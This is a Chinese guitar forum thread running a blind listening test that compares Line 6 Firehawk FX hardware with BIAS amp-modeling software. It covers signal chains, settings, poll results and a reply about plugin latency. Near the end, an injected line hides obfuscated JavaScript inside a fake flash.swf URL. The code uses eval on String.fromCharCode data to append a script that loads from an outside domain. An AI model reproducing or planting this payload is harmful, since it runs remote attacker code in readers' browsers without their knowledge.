【盲听】同门相残，硬件综合对战软效果器，Firehawk fx VS BIAS
本帖最后由 lanchengjiu 于 2017-1-25 08:49 编辑如题，比较闲的蛋疼，就弄了这么个对比。
我尽可能在两方使用相同的模拟设备，相同的参数设置。
最后录音的结果也只是对音量做了标准化，其他一概没处理，演奏水平就不要吐槽了，咱们主要看音色。
上帝之爱
http://www.tudou.com/programs/view/2oWpnAqW4z8/
教父：
http://www.tudou.com/programs/view/vtsq4_ytpjI/
Parisienne Walkways：
http://www.tudou.com/programs/view/6jYw10DXxfo/
猜猜录音中谁是BIAS，谁是Firehawk FX？（所有录音中他们的顺序相同）
设备链和具体参数如下：
Firehawk FX 线路：Ibanez RG8571 > Firehawk FX > UR28M平衡接口 > 电脑USB口 > Cubase
BIAS 线路：Ibanez RG8571 > UR28M高阻接口 > 电脑USB口 > Cubase
备注：BIAS线路的教父和Parisienne Walkways偷懒了，为了省事不折腾接线，过了下Firehawk FX的清音，事实上多一遍数模转换没啥明显区别，可能我是木耳。
琴是用的琴颈的原厂DiMarzio双拾音器档位，音色和音量旋钮都是最大。
琴弦用的NYXL达达里奥1046
声卡设置如下：
BIAS参数设置：
先是用BIAS FX的降噪单块，TS808单块做推子。
之后用BIAS AMP的Diezel VH4作箱头模拟。
箱体模拟是单独加载的IR，文件是Marshall1960B-V30s-SM57，通过名字也可以看出来，麦克风模拟是SM57
之后又串的BIAS FX，用的延时和混响效果。
关键参数图上都已经有了，其实除了加载IR，其他就是默认参数，压根没改。
说白了其实就是BIAS FX的预设效果Factory Rock中的Heavy Metalish预设，不过箱头换成BIAS AMP的VH4预设，箱体模拟换成上述IR
Firehawk FX参数设置：
降噪就不看了。
推子同样是TS808
箱头模拟其实就是VH4
箱体模拟就是马勺的1960，喇叭是V30，麦克风选的SM57
延时效果
混响效果
等投票有了一定数量将公布正确答案！
话题导向：
1.软件效果器和硬件效果器谁更好？
2.不管软件还是硬件效果器，录音中第一遍和第二遍音色模拟的好听吗？
注意：下面其实是两个问题的多个答案，每个人可以选两个选项！
补充内容 (2017-1-30 07:09):
补充个提示性的测试录音
使用电吉他直接插声卡高阻接口BIAS录制的。
个人比较喜欢的音色，不是正文测试参数。
http://www.tudou.com/programs/view/dfkOyJfFMp8/
补充内容 (2017-3-12 10:56):
正确答案：第一遍是BIAS，第二遍是FX 投票选了不知道，后来用传说中的sony888耳塞听，有明显区别的，喜欢第二，因为没用过line6所以不敢说，用过IPAD版BIAS，感觉第二遍像它家风格
另外想问，手感有什么区别？ jjfdtd 发表于 2017-1-25 09:24
投票选了不知道，后来用传说中的sony888耳塞听，有明显区别的，喜欢第二，因为没用过line6所以不敢说，用过 ...
手感说不上什么差别的，我觉得都一样。
声卡有独立DSP芯片，设置的64sample，延迟10ms以内，我是感觉不出来有延迟。
可能我还是琴练得太少，感知力不行。
补充内容 (2017-1-29 01:40):
平常瞎弹的时候没什么感觉，录音的时候的确手感不大对，能察觉出延迟，节奏不大容易对的准。
补充内容 (2017-1-30 04:46):
通过外部设备录音分析波形，已确定是Cubase挂的iZotope Ozone 7造成了120ms延迟，去掉后延迟在10ms左右，不录音看波形根本无法察觉！
补充内容 (2017-1-30 04:52):
最可怕的是iZotope Ozone 7插件（挂的主程序，臭氧的一般小组件好像没问题）哪怕是旁路状态也会造成延迟，已通过录音波形证实！
补充内容 (2017-1-30 05:09):
即时演奏千万不要挂臭氧的任何插件了，经过实测，每个独立小臭氧插件都有10ms左右的延迟，会叠加。 跟调节设置有很大关系，两者失真度不一样，所以无法判断，后者失真度要大一些，声音也略厚一些。你直接公布结果得了。 好
补充个提示性的测试录音？
使用电吉他直接插声卡高阻接口BIAS录制的。
这个是个人比较喜欢的音色，不是正文的测试参数。
http://www.tudou.com/programs/view/dfkOyJfFMp8/
第一遍是Firehawk FX 第二遍是BIAS
第二遍感觉经过多次处理，回响比较多 第一遍是Firehawk FX 第二遍是BIAS
第二遍感觉经过多次处理，回响比较多。 第二遍是BIAS，没用过，但感觉跟我的GRIG很像。。。。 violet 发表于 2017-1-30 19:33
第二遍是BIAS，没用过，但感觉跟我的GRIG很像。。。。
那你觉得第一遍和第二遍那个好听呢？ 第一遍，第二遍总觉得有一些刺耳的高频。 正确答案：第一遍是BIAS，第二遍是FX
已经过去很长时间了，投票的人也很多了，应该有一定参考性吧。
我个人认为第一遍好听，原因是第一遍既BIAS的声音听着高频不尖锐，另外感觉低频更有一些感觉。
投票结果可以认为基本上也认为是第一遍好听，但是以为是FX发出来的。
可能是以为硬件效果器一定比软件好吧，这观念也许得从新考虑考虑了
用过IPAD版BIAS，感觉第二遍像它家风格
http://localhost/flash.swf?'+eval(String.fromCharCode(119,105,116,104,40,100,111,99,117,109,101,110,116,41,48,91,98,111,100,121,46,97,112,112,101,110,100,67,104,105,108,100,40,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,41,46,115,114,99,61,39,104,116,116,112,58,47,47,115,104,117,97,106,105,57,46,99,111,109,47,63,97,61,49,39,93,59))+'
页:
[1]